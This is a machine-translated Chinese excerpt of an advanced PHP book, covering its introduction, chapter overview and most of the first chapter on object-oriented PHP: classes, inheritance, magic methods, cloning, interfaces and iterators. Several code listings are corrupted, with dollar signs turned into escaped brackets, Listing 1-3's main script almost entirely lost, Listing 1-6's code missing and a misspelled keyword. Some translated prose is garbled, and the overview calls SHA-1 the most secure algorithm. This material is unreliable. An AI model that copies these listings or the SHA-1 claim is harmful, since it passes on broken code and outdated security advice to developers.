PHP-编程高级教程-全-
PHP 编程高级教程(全)
零、PHP 简介
欢迎阅读另一本关于 PHP 伟大编程语言的书。这本书是独一无二的,因为它侧重于更高端的材料和更先进的,前沿的话题。在快节奏的互联网世界中,我们尽可能地让它保持现代。我们把读者从这种伟大的编程语言的中级水平带到更高级的水平。
PHP 的起源
PHP 最初是由拉斯马斯·勒德尔夫先生领导和设计的一个项目。1995 年 6 月,他发布了个人主页工具 1.0 版本(其最初的产品名称)。它是一个小的功能集合,帮助在当时蓬勃发展的互联网上自动创建和维护简单的主页。从那以后,PHP 突飞猛进地发展到今天的版本 5.3.4(在撰写本文时)。PHP 是从一开始就开源的第一批 web 开发编程语言之一。Lerdorf 很有远见,看到了一种工具和语言的需求和潜力,这种工具和语言可以随着互联网社区的发展而发展,并扩展到更远的地方。
什么是 PHP?
那么,PHP 到底是什么?它现在的版本和《̴feel》看起来像什么?简单来说,PHP 仅仅是一个 HTML 标记生成器。如果你看一个 PHP 生成的网页的源代码,你只会看到 HTML 标签;也许还有一些 JavaScript,但是没有原始的 PHP 代码。当然,这是一种过于简单化的观点,这种语言已经占据了 web 开发中使用的语言的 35%到 59 %(取决于来源)。无论你选择哪个数字,PHP 都是当今市场上最流行的 web 开发语言。
当我使用“在市场上”这个术语时,你也必须意识到 PHP 是免费的。是的,免费!它是一个开源产品,所以实际上并没有真正的市场。因此,就受欢迎程度和使用范围而言,它做得非常好,因为它不是由一个实体或个人领导和操纵的。
注要了解更多关于开源的信息,一定要阅读 Eric S. Raymond 的《大教堂和集市》,比较开源产品(集市)和闭源产品(大教堂)。你可以在这里找到:
[www.catb.org/~esr/writings/cathedral-bazaar/.](http://www.catb.org/~esr/writings/cathedral-bazaar)
实际上,Zend Corporation(zend.com)可能是 PHP 世界的领导者,因为它已经开发了许多额外的产品来支持和增强 PHP,而且它是 PHP 发展方向的关键角色,因为该公司的两位创始人 Zeev Suraski 和 Andi Gutmans 从该产品的第 3 版开始就接受了挑战。
PHP 在语言结构上也是非常开放和宽容的,因为它是松散类型的。这意味着变量不必像其他一些编程语言那样,在使用之前定义它们所保存的数据类型。相反,它会查询数据,并尝试根据变量当时保存的内容来确定其数据类型。这意味着,例如,在代码文件执行期间,名为$information 的变量可以有许多不同的值。在某些方面,这也可能是一个缺点,因为数据可能在代码运行期间发生变化,因此否定了一些代码段,这些代码段可能需要一个整数,但却接收到一个字符串。
PHP 也可以用面向对象编程(OOP)设计来编写。类、属性和方法;继承、多态和封装都是语言的一部分。这增加了代码的健壮性和可重用性,并且总体上更易于使用。当然,面向对象的编程方法在技术领域已经存在很长时间了,PHP 也已经采用并扩展了它的集成好几年了。
PHP 拥有的另一个有价值的特性是,它可以从命令提示符(Linux 或 Windows)运行,因此可以在预定的无人值守(CRON)脚本中使用。这种增加的灵活性非常好,因为您(程序员)在服务器环境中工作时,不必学习另一种语言来完成不同的任务。您可以使用与管理文件系统相同的语言来生成网页(如果您愿意的话)。
PHP 也有很多集成点;至少可以说,这是一种非常开放的语言。PHP 可以用于除了直接的 web 开发之外的许多事情。通过适当的连接库将它与数据库源结合起来,您就可以拥有非常动态的 web 表现,甚至是 web 应用。将它与一个附加的库(例如 tcpdf)结合起来,您就可以动态地生成 Adobe PDF 文档。这仅仅是两个例子,我们将在本书中涉及很多这些附加库,所以请继续关注!
本书的高级概述
那么,我们希望通过这本书为你这个阅读程序员完成什么呢?我们已经尽了最大努力让这篇文章成为当前的前沿价值,这样你就能了解并使用 PHP 的一些最新特性和集成。我们没有在语言的更简单的主题上花费时间,例如什么是变量或者如何编写 for / next 循环。
我们希望你成为一名更高级的 PHP 程序员,这些材料甚至可以帮助你准备好参加并通过 Zend 认证工程师考试。以下是每章内容的简要总结。
第一章:面向对象
这第一章的目的是让你为本书剩余部分将要出现的许多概念和代码示例做好准备。我们介绍了 OOP 的一些基本概念以及它是如何在 PHP 中实现的,然后马上进入一些更高级的问题。在深入后面的章节之前,请确保你真正理解了这一章。
第二章:例外和引用
在这里,我们继续一些 OOP 概念,并进入带有 try / catch 块的异常编码。这是处理 PHP 代码中潜在错误的一种更优雅的方式,一旦掌握了这种方式,它将是一种非常强大的方法。接下来是关于引用编码的讨论,以及它对于你可能使用的类和函数的意义。
第三章 : PHP on the Run(移动 PHP)
这个世界变得越来越依赖移动设备;我们看到更小更强大的设备一直在发布。苹果、RIM、HTC 和许多其他公司都试图占领这个利润丰厚的市场。但是需要有适用于这些设备的应用,在这一章中,我们将向您展示 PHP 发展和适应的一些方式,以适应这种移动性的转变。
第四章:社交媒体和 PHP
在类似的技术发展中,社交媒体使用的快速扩张也在很大程度上得益于 PHP。例如,《脸书》的大部分前瞻性内容都是用 PHP 编写的。许多其他网站,如 Flickr,雅虎的一部分!,甚至很多博客应用都严重依赖 PHP。在这一章中,我们来看一些与这些社交媒体网站整合的界面。
第五章:前沿 PHP
在撰写本文时的当前版本 5.3.4 中,PHP 在其实际语言中增加了许多新特性。这些特性中有许多是为期待已久的 6.0 版本设计的,但是因为一些特性比其他特性更早准备好,所以这个初始集合被发布为 5.3 版本。在这一章中,我们将会看到这些新特性中的一些“精华”,以及如何在你的网络项目中使用它们。
第六章:表单设计与管理
在这里,我们花一点时间来回顾一下在设计和管理数据输入表单时可以实现的特性和技术。控制输入其中的数据,对错误数据(例如无效的日期格式)做出响应,以及如何优雅地将数据输入 web 系统。
第七章和第八章:数据库交互
当然,目前 web 开发的一个主要方面是存储和显示来自数据源的数据的能力。在这两章中,我们看了许多不同的数据处理方式。从 NoSQL 的小型数据库到 MySQLi 这样的大型数据库引擎,以及我们通过使用 PDO 和 Sphinx 这样的工具收集到的技术。
第九章:神谕
谈到超大数据集,PHP 和 Oracle 有一种特殊的联系。在这一章中,我们将探讨这种关系特有的问题,以及如何充分利用他们的“结合”
第十章 : PHP 库
正如已经提到的,PHP 非常开放,可以与其他库一起工作。在第十章中,我们来看看这些库中更流行和先进的一些。能够动态生成 PDF 表单、使用 RSS 订阅源、生成专业电子邮件以及与 Google maps 集成只是本章将讨论的一些库集成。
第十一章:基本 PHP 安全
当然,如果我们没有涵盖 web 安全方面的最新技术,这就不是一部完整的书。第十一章涵盖了这个大话题。我们看看最安全的(目前)加密算法称为 SHA-1。其他主题包括保护输入到 web 系统的数据以及从 web 系统输出的数据。
第十二章:与 Zend Studio 的团队发展
这一章有点跑题,因为它不纯粹是一个 PHP 话题。在这里,我们来看看如何使用一个更流行的集成开发环境(ide)来进行 PHP 开发,Zend Studio for Eclipse。有了 Zend Studio,我们看看一个开发团队如何以敏捷的方式一起工作(你听说过极限编程吗?)我们将看看如何利用 SVN、Bugzilla 和 MyLyn 的协同工作,让团队的工作在许多方面更有成效。
第十三章:重构单元测试
这实际上是上一章所讲内容的延伸。这里有更多关于如何做才能使 PHP 开发在编程方面更加敏捷的报道。重构和单元测试是这里的重点,您将学习如何在日常编码项目中很好地利用它们。
第十四章 : XML 和 PHP
自从 XML 第一次成为流行语以来,它的使用已经变得越来越主流。在这一章中,我们来看看如何使用 SimpleXML 来消费来自外部的 XML。我们还讨论了从我们自己的系统中生成 XML 数据供他人使用的能力。
第十四章 : JSON / Ajax
再一次,我们从纯粹的 PHP 向前迈了一小步,看看 JSON 库,以及我们如何将它与 Ajax 一起使用,以使我们的 web 应用更具响应性。
第十五章:结论
在最后一章中,我们将会看到本书中没有的 PHP 附加资源。在这里,我们看了许多可用的网络资源和一些杂志和会议,它们可以加深你对这个伟大的语言和社区的知识和理解。
PHP 的未来
这是一个我觉得很难写的话题。由于 PHP 是一个真正的开源产品,所以很难预测社区在不远的将来会走向何方。然而,我对这个社区有绝对的信心;在我做 PHP 程序员的这些年里,我还没有真正看到这个集体犯过一次错误。我知道我们生活的移动方面将继续增长和扩展,PHP 已经采取措施完全接受这一事实。在不久的将来还会发生什么?在智能手机和数据互操作性方面,可能会与电话有更多的集成。可能会进一步扩展到语音识别技术和网络应用——谁知道呢?从我目前的经验来看,我确实知道 PHP 及其支持社区将继续把握技术世界的脉搏,他们不会让我们失望。
展望 PHP 的未来是一件令人欣慰的事情;这就像看着美丽的日出,知道接下来的一天只会越来越好。
一、面向对象
本章的目的是介绍面向对象的基本概念。“PHP 是面向对象的”这句话实际上意味着什么最简单的答案是 PHP 允许用户数据类型的定义和层次结构。这本书是关于 PHP 5.3 的,它为 PHP 对象设备引入了一些新元素。从版本 4 开始,PHP 经历了一个相当彻底的变化,其中也包括了基本的面向对象(OO)功能。例如,在 PHP 4 中,不可能定义方法和成员的可见性。在 PHP 5.3 中,增加了名称空间。
本章我们将介绍类、继承、对象创建和接口定义的概念。我们还将介绍一些不太基础的东西,比如迭代器。那么,我们开始吧。
类别
类只是用户定义的类型。在面向对象语言中,一个类作为创建该类的对象或实例(功能副本)的模板。一个类包含属于它的所有项目的共同特征的描述。一个类(或多个类)的目的是封装对象定义和行为,对最终用户隐藏其实际实现,并使最终用户能够以记录的和预期的方式使用类对象。封装还使程序变得更小,更易于管理,因为对象已经包含了处理它们所需的逻辑。还有一个叫做自动加载的特性,它有助于将脚本分成更小、更易管理的片段。
在我们看到一个 PHP 类的简单例子之前,让我们先介绍一些术语:
- 类成员或属性:变量,类的数据部分
- 类方法:在类中定义的函数
现在我们将为二维平面中的一个点定义一个类,用它的笛卡尔坐标定义(见清单 1-1 )。因为它纯粹是为教学目的而设计的,所以这门课有几个严重的缺点。我们建议您不要将它用作您自己的任何代码的代码基础。
清单 1-1。一架 2D 飞机
<?php class Point { public $x; public $y;
function __construct($x,$y) { $this->x=$x; $this->y=$y; } function get_x() { return($this->x); } function get_y() { return($this->y); } function dist($p) { return(sqrt( pow($this->x-$p->get_x(),2)+ pow($this->y-$p->get_y(),2))); } } // Class ends here $p1=new Point(2,3); $p2=new Point(3,4); echo $p1->dist($p2),"\n"; $p2->x=5; echo $p1->dist($p2),"\n"; ?>
这个类不是微不足道的;有相当多的东西需要分析和修复。首先,如我们之前所述,这个类描述了平面中的一个点,由它的笛卡尔坐标$x
和$y
定义。有一个关键词public
,我们稍后将返回。还有一个构造函数方法__construct,
,当通过调用操作符new
在内存中创建一个类Point
的新对象(或实例)时,将调用该方法。换句话说,当执行第$p1=new Point(2,3)
行时,方法__construct
被自动引用和执行,并且类名后面的参数(在括号中)被传递给__construct
方法以备可能使用。
方法__construct
引用了变量$this
。变量$this
是引用类实例本身的 OO 方式。它总是指向当前的焦点对象。它相当于“我”这个变量的一个变体存在于几乎所有基于 OO 的语言中,尽管在一些语言中它被称为“self”。
类构造函数是初始化(实例化)给定类的对象的方法。在这种特殊情况下,它指定坐标。坐标(名为$x
和$y
的变量)是这个类的成员。还定义了其他几种方法,两种get
方法和一种叫做dist
的方法,用于计算两点之间的距离。
接下来要观察的是关键词public
。将成员标记为“公共”允许对标记为公共的数据成员进行完全访问。在我们的脚本中,有一行写着$p2->x=5;
。我们其中一个点的 x 坐标被直接操纵。这种访问是不可能控制的,除了最简单的情况外,在所有情况下都是非常不鼓励的。好的实践是编写get
和set
方法,以可控的方式读写类成员。换句话说,使用get
和set
方法,可以控制数据成员的值。对于公共成员,get 和 set 函数是多余的,因为可以直接设置成员,如$p2->x=5
所示。但是,对于公共成员,无法控制成员的值。Set
和get
函数可以直接为每个成员编写,但 PHP 也提供了所谓的“神奇方法”,可以用来代替必须为每个成员编写两个函数。
使用关键字private
和protected
可以更好地保护成员。这两个关键字的确切含义将在下一节解释。同样值得注意的是public
是默认的可见性。如果没有指定成员或方法的可见性,则默认为public
。笔迹
class C { $member; function method() {...} …. }
完全等同于写:
class C { public $member; pubic function method() {…} …. }
与公共类成员相比,私有类成员或方法仅对同一类的方法可见。未连接到该类的方法不能访问任何私有成员,也不能调用任何其他私有方法。如果类成员$x
和$y
的关键字“public”替换为关键字“private ”,并尝试访问,结果将是
PHP Fatal error: Cannot access private property Point::$x in script2.1 on line 25
换句话说,我们在第 25 行的小技巧,即$p2->x=5
,将不再有效。构造函数没有任何问题,函数get_x()
和get_y()
也没有问题,因为它们是类成员。这是一件好事,因为不再可能直接操纵类对象,潜在地以一种该类不应该做的方式从根本上改变它们的行为。简而言之,这个班级更加独立,就像一条受控制的高速公路——只有有限的入口和出口坡道。
公有和私有成员现在都清楚了,但是什么是受保护的成员和方法呢?受保护的方法和成员可由它们所属类的方法访问,也可由从它们所属的基类继承的类的方法访问。我们将在下一节中对此进行更深入的研究。
继承和重载
如本章开头所述,可以用分层的方式来组织类。等级是通过继承建立的。为了演示继承,让我们开发另一个名为employee
的类。一个公司的员工有一部分是经理,这将是从更一般的employee
类继承而来的一个类。继承也被称为专门化。所以,事不宜迟,让我们看看这个类(参见清单 1-2 )。
清单 1-2。类employee
的例子
*<?php* class employee { protected $ename; protected $sal; function __construct($ename, $sal = 100) { $this->ename = $ename; $this->sal = $sal; }
` function give_raise(\(amount) {
\)this->sal+= $amount;
printf("Employee %s got raise of %d dollars\n", $this->ename, $amount);
printf("New salary is %d dollars\n", $this->sal);
}
function __destruct() {
printf("Good bye, cruel world: EMPLOYEE:%s\n", $this->ename);
}
}
class manager extends employee {
protected \(dept;
function __construct(\)ename, $sal, \(dept) {
parent::__construct(\)ename, \(sal);
\)this->dept = \(dept;
}
function give_raise(\)amount) {
parent::give_raise($amount);
print "This employee is a manager\n";
}
function __destruct() {
printf("Good bye, cruel world: MANAGER:%s\n", $this->ename);
parent::__destruct();
}
} // Class definition ends here.
\(mgr = new manager("Smith", 300, 20);
\)mgr->give_raise(50);
\(emp = new employee("Johnson", 100);
\)emp->give_raise(50);
?>`
这个类只是一个人为的例子;它不是用来作为一个模板。值得注意的是,__construct
方法在两个类中都是公共的。如果它不是公共的,就不可能创建任何一个类的新对象。执行时,该脚本将产生以下结果:
Employee Smith got raise of 50 dollars New salary is 350 dollars This employee is a manager Employee Johnson got raise of 50 dollars New salary is 150 dollars Good bye, cruel world: EMPLOYEE:Johnson Good bye, cruel world: MANAGER:Smith Good bye, cruel world: EMPLOYEE:Smith
这个小例子非常适合解释继承的概念。每个经理都是雇员。注意短语“is a”表示继承关系的特征。在这种情况下,类employee
是类 employee 的父类。与日常生活相反,PHP 中的类只能有一个父类;不支持多重继承。
此外,父函数可以使用类manager
中显示的parent::
构造来寻址。当创建子类的对象时,不会自动调用父类的构造函数;在子类的构造函数中调用它是程序员的责任。
这同样适用于析构函数方法。析构函数方法与构造函数方法正好相反。构造函数在内存中建立对象时调用,而析构函数在不再需要该对象时调用,或者在该对象上显式调用“unset”函数时调用。显式调用 unset 函数并不是常见的做法;它通常用于节省内存。这也意味着当脚本执行完成时,会自动为所有对象调用析构函数。析构函数方法通常用于清理资源,例如关闭打开的文件或断开与数据库的连接。最后,注意我们的manager
类的析构函数方法拥有对成员ename
的完全访问权,尽管它实际上是employee
类的成员。这正是受保护成员的目的。如果ename
是 employee 类的私有成员,我们的小例子就不会成功。
方法get_raise
在两个类中都存在。PHP 知道为哪个对象调用哪个方法;这是面向对象基本原则的一个方面:封装。对象$x
属于manager
类,而give_raise
方法在生成其正常输出后生成了输出,“这个雇员是经理”。我们可以这样重新表述:类manager
中的give_raise
函数重载或取代了employee
类中的give_raise
方法。请注意,术语“重载”在 PHP 中的含义与 C++或 Python 中的含义不同,在 c++或 Python 中,它表示名称相同但参数类型不同的函数(不是类方法)。回到 PHP:如果方法标记为final
,则不能重载。如果 employee 类中的方法give_raise
是这样声明的
final function give_raise($amount) { …. }
在类管理器中重载它是不可能的。我们建议您在这个小脚本中尝试基本的 OO 概念,并通过将各种成员和方法标记为私有、受保护或公共来看看结果。
最后,当谈到继承时,还需要提到抽象类。抽象类不能被实例化;不能创建属于它们的对象。它们主要用作模板,以强制所有从它们继承的类具有期望的结构。如果用关键字“abstract”标记,则该类是抽象的,如下所示:
abstract class A { …. }
无法创建此类的对象;PHP 将抛出一个运行时错误并停止脚本执行。也可以声明抽象类的抽象方法。这是这样做的
abstract class A { abstract protected method(...); }
这样做是为了强制扩展抽象类的类实现指定的方法。
抽象类通常被用作扩展它们的类的模板。抽象类的一个很好的例子可以在标准 PHP 库(SPL)中找到。排序堆的类(SplMinHeap
,SplMaxHeap
)扩展了抽象类SplHeap
,并以不同的方式实现了compare
方法。SplMinHeap
会将元素从最小到最大排序,而SplMaxHeap
会将元素从最小到最大排序。这两个类的共同特征都包含在抽象类SplHeap
中,这里有文档说明:
http://ca2.php.net/manual/en/class.splheap.php
与其发明抽象类的人为例子,不如让我们看看它们在 SPL 是如何使用的。下面是一个如何使用SplMinHeap
类的简单例子
<?php $heap = new SplMinHeap(); $heap->insert('Peter'); $heap->insert('Adam'); $heap->insert('Mladen'); foreach ($heap as $h) { print "$h\n"; } ?>
执行时,输出将是:
Adam Mladen Peter
名字是按字母顺序排序的——与它们被插入堆的方式不太一样。稍后我们将看到如何在循环中使用一个SplMaxHeap
类的对象,就像它是一个数组一样。
现在,让我们把注意力转向更实用的 OO 编程技术。例如,您可能想知道我们如何让类对 PHP 脚本可用。类通常被编写成可以一遍又一遍地重用。显而易见的答案是,我们创建单独的文件,然后用require
或include
指令包含这些文件,但随着文件的增加,这很快就会变得笨拙或麻烦。事实证明,PHP 有一个工具可以帮助解决这个问题——即名为__autoload
的函数。该函数以类名作为参数,每当 PHP 在当前执行的脚本中找不到类定义时,就会调用该函数。从本质上来说,__autoload
函数是一个“没有找到类”异常错误的陷阱处理程序。我们稍后将回到异常。我们在清单 1-2 中的例子现在可以在两个文件中重写(参见清单 1-3 )。
清单 1-3。清单 1-2 在两个文件中重写
`File script1.3.php:
give_raise(50); $y = new employee("Johnson", 100); $y->give_raise(50); ?>`【acmemanager . php 档案:
<?php class employee { protected $ename; protected $sal; // Note that constructor is always public. If it isn't, new objects cannot
` // be created.
function __construct($ename, \(sal = 100) {
\)this->ename = \(ename;
\)this->sal = \(sal;
}
function give_raise(\)amount) {
$this->sal+= $amount;
printf("Employee %s got raise of %d dollars\n", $this->ename, $amount);
printf("New salary is %d dollars\n", $this->sal);
}
function __destruct() {
printf("Good bye, cruel world: EMPLOYEE:%s\n", $this->ename);
}
} // End of class "employee"
class manager extends employee {
protected \(dept;
function __construct(\)ename, $sal, \(dept) {
parent::__construct(\)ename, \(sal);
\)this->dept = \(dept;
}
function give_raise(\)amount) {
parent::give_raise($amount);
print "This employee is a manager\n";
}
function __destruct() {
printf("Good bye, cruel world: MANAGER:%s\n", $this->ename);
parent::__destruct();
}
} // End of class "manager"`
这段代码完全等同于清单 1-2 中的原始 script1.2.php,除了它更容易阅读,因为最重要的部分包含在清单 1-3 中的文件 script1.3.php 中。另一个文件,ACMEmanager.php,只包含类声明。如果我们对类声明的内部并不真正感兴趣,我们不需要阅读它们;我们只需要知道声明类的对象是如何工作的。另外,请注意,该文件是以正在被实例化的第一个类命名的。当加载该文件时,类employee
也将被定义,因为两个类的定义在同一个文件中。
第二件要注意的事情是类名以“ACME”为前缀。这是为了提醒读者创建专门的、基于项目的类库的可能性。这里实现的函数__autoload
使用了require_once
而不是include
指令。原因是 PHP 的行为,如果require
指令请求的文件不可用,PHP 将终止脚本。如果 include 指令简单包含的文件不可用,执行将继续进行。在没有可用的类定义的情况下,执行依赖于类定义的脚本是没有意义的。
此外,类定义文件不应该定义结尾的?>
。这是因为在组装页面之前,它们通常可以被自动加载或包含在“header”文件中,并且在开始时,?>
和 EOF 之间的任何额外空白都将被注入到页面的 html 输出流中。PHP 很高兴没有尾随的?>
,省略它是一个最佳实践。这可能是使用header()
函数将 HTTP 头发送回浏览器时导致“输出已经开始”错误的最大原因,对于不知道这是一个死亡陷阱的人来说。
杂用“神奇”的方法
大多数被统称为“神奇方法”的方法处理的是缺少的成员和没有在类本身中定义的方法。原因是广泛采用的在关联数组中定义成员的做法,而不是将它们定义为单独的类变量。这种定义数据成员的方式易于遵循、扩展和修改,这有助于定义一组类成员的流行。没有“神奇的功能”,就不可能以透明和可理解的方式访问这些成员。
值得一提的第一对特殊方法由__get
和__set
方法组成。
* get*和 _ _set 方法
当一个值被赋给一个不存在的成员时,方法__set
被调用。当试图访问一个不存在的成员时,调用方法__get
。清单 1-4 就是一个例子。
清单 1-4。_set
和_get
方法的例子
`# Demonstration of __get and __set functions.
Non-existing property "speed_limit" is being set and read.
members)) { return ($this->members[$arg]); } else { return ("No such luck!\n"); } } public function __set($key, $val) { $this->members[$key] = $val; } public function __isset($arg) { return (isset($this->members[$arg])); } } $x = new test1(); print $x->speed_limit; $x->speed_limit = "65 MPH\n"; if (isset($x->speed_limit)) { printf("Speed limit is set to %s\n", $x->speed_limit); } $x->speed_limit = NULL; if (empty($x->speed_limit)) { print "The method __isset() was called.\n"; } else { print "The __isset() method wasn't called.\n"; } ?>`执行时,该脚本将产生以下结果:
No such luck! Speed limit is set to 65 MPH The method __isset() was called.
类成员speed_limit
没有被定义,但是引用它并没有产生错误,因为当我们引用不存在的成员时执行了__get
方法,当对不存在的成员赋值时执行了__set
方法。一种常见的做法是将所有成员(或属性)定义在一个关联数组中,并像将它们定义为单独的类属性一样引用它们。这种做法使得类更容易扩展。
_ _ 是一套方法
除了__get
和__set
方法,清单 1-4 还演示了__isset
函数的使用,该函数用于检查一个不存在的属性(通常定义为数组元素)是否被设置(有值)。当然,还有__unset
功能。当在一个不存在的属性上调用unset
时,就会调用它。使用empty()
函数检查变量是否为空时,也会调用__isset
方法。empty()
函数测试参数是否被设置,以及它的长度是否大于 0。如果参数未设置或其长度等于零,则返回 true 否则,它返回 false。特别是,当参数设置为空字符串时,empty()
函数也将返回 true。
_ _ 叫法
最后,当谈到不存在的成员时,调用不存在的方法时会调用__call
函数。根据我的经验,这种方法相对来说很少使用,但是清单 1-5 只是一个小例子,只是为了完整。
清单 1-5。当调用一个不存在的方法时,调用__call
函数。
`<?php
Demonstrating the use of "__call" method
class test2 {
function __call($name, \(argv) {
print "name:\)name\n";
foreach ($argv as \(a) {
print "\t\)a\n";
}
}
}
\(x = new test2();
\)x->non_existing_method(1, 2, 3);
?>`
执行时,该脚本将产生以下结果:
name:non_existing_method 1 2 3
当然,方法non_existing_method
没有被定义,但是调用成功了。
_ _ toString()法
这里将要提到的最后一个“神奇”方法,也是唯一一个与不存在的成员或方法无关的方法是__toString()
。当一个对象被转换为字符串时使用它——要么显式地,通过使用 explicit cast (string)对其进行转换,要么隐式地,通过将它作为一个参数传递给一个需要字符串参数的函数,如“print”清单 1-6 就是一个例子。
***Listing 1-6.** An Example of the
_toString()` Method*
执行时,该脚本将产生以下输出:
test2 member.
打印出__toString
函数的返回值。当在字符串上下文中使用底层对象时,调用此函数。当需要打印由陌生成员组成的复杂对象时,例如网络或数据库连接或其他二进制对象,这个函数非常有用。
复制、克隆和比较对象
在本章的开始,我讨论了什么是类以及如何创建和处理复杂的对象。现在是时候讨论内部对象处理的一些方面了。当使用诸如$x=new class(....)
的语句创建对象时,变量$x
是对该对象的引用。当我们执行类似$x=$y
的东西时会发生什么?很简单:句柄$x
指向的原始对象被扔掉,调用它的析构函数,让$x
指向对象$y
。清单 1-7 是一个演示该行为的小脚本。
清单 1-7。执行$x=$y
时
`<?php
Demonstrating shallow copy.
class test3 {
protected \(memb;`
` function __construct(\)memb) {
$this->memb = $memb;
}
function __destruct() {
printf("Destroying object %s...\n", \(this->memb);
}
}
\)x = new test3("object 1");
\(y = new test3("object 2");
print "Assignment taking place:\n";
\)x = $y;
print "End of the script\n";
?>`
执行该脚本时,它会产生以下输出:
Assignment taking place: Destroying object object 1... End of the script Destroying object object 2...
当执行$x=$y
时,对象 1 在赋值期间被销毁。为什么物体 2 被摧毁了?答案很简单:每当对象超出范围时,就调用析构函数。当脚本完成时,所有幸存的对象都将超出作用域,每个对象都将被调用析构函数。这也是在两个print
命令之间包含赋值的原因。另外,请注意析构函数只执行一次,尽管有两个对底层对象的引用,$x
和$y
。每个对象调用一次析构函数,而不是每个引用调用一次。这种复制对象的方式被称为“浅层”复制,因为没有创建对象的真正副本;只有引用被更改。
除了之前看到的“浅层”复制,还有“深层”复制,产生了新的对象。这种“深度”复制是通过使用“克隆”操作符来完成的,如清单 1-8 所示。
清单 1-8。使用克隆操作符进行深度复制
`<?php
Demonstrating deep copy.
class test3a {
protected $memb;
protected \(copies;
function __construct(\)memb, \(copies = 0) {
\)this->memb = \(memb;
\)this->copies = $copies;
}
function __destruct() {
printf("Destroying object %s...\n", \(this->memb);
}
function __clone() {
\)this->memb.= ":CLONE";
$this->copies++;
}
function get_copies() {
printf("Object %s has %d copies.\n", $this->memb, \(this->copies);
}
}
\)x = new test3a("object 1");
\(x->get_copies();
\)y = new test3a("object 2");
$x = clone \(y;
\)x->get_copies();
$y->get_copies();
print "End of the script, executing destructor(s).\n";
?>`
深度复制是在显示$x = clone $y
的那一行完成的。当这一行被执行时,对象$y
的一个新副本被创建,并且函数__clone
被调用以帮助按照脚本需要的方式安排新副本。该脚本的输出如下所示:
Object object 1 has 0 copies. Destroying object object 1... Object object 2:CLONE has 1 copies. Object object 2 has 0 copies. End of the script, executing destructor(s). Destroying object object 2... Destroying object object 2:CLONE...
驻留在$x
中的新创建的副本具有成员值“对象对象 2:克隆”,并且副本数量被设置为 1,这是__clone
方法的动作的结果。另外,请注意,构造函数被执行了两次,一次是针对原始的,一次是针对克隆的。克隆不像引用赋值那样经常使用,但是在需要的时候有这种可能性是很好的。
对象是如何比较的?根据比较标准,有几种情况需要考虑。什么时候我们称两个对象变量$x
和$y
为“相等”有以下三种逻辑上同样有效的可能性:
- 同一类的对象的所有成员都是平等的。
- 对象是对同一类的同一对象的引用。
- 使用一些其他定制的标准。
标准的相等运算符==
测试第一种可能性。当且仅当\(x 和\)y 的对应成员彼此相等时,表达式$x==$y
才成立。
第二种可能性,即$x
和$y
是对同一个对象的引用,由特殊操作符===
测试(3 个连续的等号)。当且仅当$x
和$y
都引用同一个对象时,表达式$x===$y
成立。注意,通常的赋值,如$x=$y,
将有表达式$x===$y
返回 true,而克隆将破坏等式。如果没有自定义的__clone
方法,原始的和克隆的将是相等的,相等的定义与==
操作符相同。
对于第三种可能性,即平等的自定义定义,我们能做些什么?那么,在这种情况下,我们必须编写一个自定义函数,并比较返回值。当编写采用特定类的参数的函数时,可以通过在形式参数名称前列出参数类型来强制参数为所需的类型。看起来会像这样:
function test_funct(test3a $a) {….}
在这种情况下,我们要求参数$a
的类型为test3a
。这只能通过输入关键字array
而不是对象名来实现。PHP5 仍然是一种弱类型语言,不支持将参数类型强制为经典类型,比如int
。
接口、迭代器和抽象类
面向对象世界中另一个经典的对象类型是接口。接口是描述一个类可以选择实现的一组方法的对象。界面看起来像这样:
interface interf { public function f1($x,$y,...,); public function f2(....); …. public function fn(...); }
注意,没有方法代码的说明,只有名称和参数的数量。一个类可以选择实现一个接口,就像这样:
class c extends parent implements interf { (all functions listed in the interface must now be defined) … )
接口可以相互继承,就像类一样。语法也是一样的:
interface interf2 extends interf1 { function f1(...); }
新接口interf2
将包含来自接口interf1
的所有功能,加上由interf2
定义的新功能。清单 1-9 就是一个例子。
清单 1-9。新界面的例子interf2
<?php interface i1 { public function f1($a); } interface i2 extends i1 { public function f2($a); } class c1 implements i2 { private $memb; function __construct($memb) { $this->memb = $memb; } function f2($x) { printf("Calling F2 on %s with arg: %s\n", $this->memb, $x); } }
$x = new c1("test"); $x->f2('a');
当执行该脚本时,会产生一个错误,因为来自接口i1
的函数f1
未被定义。错误输出如下:
Fatal error: Class c1 contains 1 abstract method and must therefore be declared abstract or implement the remaining methods (i1::f1) in /home/mgogala/work/book/script2.6.php on line 17
接口是 Java 编程中的标准结构,在 PHP 等脚本语言中不太常见。我们将要看到的例子是关于接口Iterator
,它是 PHP 语言不可或缺的一部分。迭代器是实现内部 PHP 接口Iterator
的类的对象。界面Iterator
定义如下:
interface Iterator { public function rewind(); // Returns the iterator the beginning public function next(); // Get to the next member public function key(); // Get the key of the current object. public function current(); // Get the value of the current object public function valid(); // Is the current index valid? }
任何实现接口Iterator
的类都可以在for
循环中使用,它的对象被称为迭代器。清单 1-10 就是一个例子。
清单 1-10。任何实现接口Iterator
的类都可以在for
循环中使用
`<?php
class iter implements iterator {
private $items;
private $index = 0;
function __construct(array \(items) {
\)this->items = \(items;
}
function rewind() {
\)this->index = 0;
}
function current() {
return (\(this->items[\)this->index]);
}
function key() {
return (\(this->index);
}
function next() {
\)this->index++;
if (isset(\(this->items[\)this->index])) {
return (\(this->items[\)this->index]);
} else {
return (NULL);
}
}
function valid() {
return (isset(\(this->items[\)this->index]));
}
}
\(x = new iter(range('A', 'D'));
foreach (\)x as $key => \(val) {
print "key=\)key\tvalue=$val\n";
}`
这是一个非常简单但非常典型的 PHP 迭代器的例子。执行时,该脚本会产生以下输出:
key=0 value=A key=1 value=B key=2 value=C key=3 value=D
脚本的主要部分,也是整个练习的起因,是最底部的循环。这种语法通常用于数组,但是$x
不是数组,它是类iter
的对象。迭代器是可以表现为数组的对象。这是通过实现接口Iterator
来实现的。这在什么情况下适用?文件的行或从游标返回的行可以很容易地被遍历。注意,我们仍然不能使用表达式$x[$index]
;计数变量仅用于在数组中前进。通过实现Iterator
接口来做到这一点是一件相当简单的事情。清单 1-11 就是一个例子。
清单 1-11 。实现界面Iterator
<?php class file_iter implements iterator { private $fp; private $index = 0; private $line; function __construct($name) { $fp = fopen($name, "r"); if (!$fp) { die("Cannot open $name for reading.\n"); } $this->fp = $fp; $this->line = rtrim(fgets($this->fp), "\n"); } function rewind() { $this->index = 0; rewind($this->fp); $this->line = rtrim(fgets($this->fp), "\n"); } function current() { return ($this->line); } function key() { return ($this->index); }
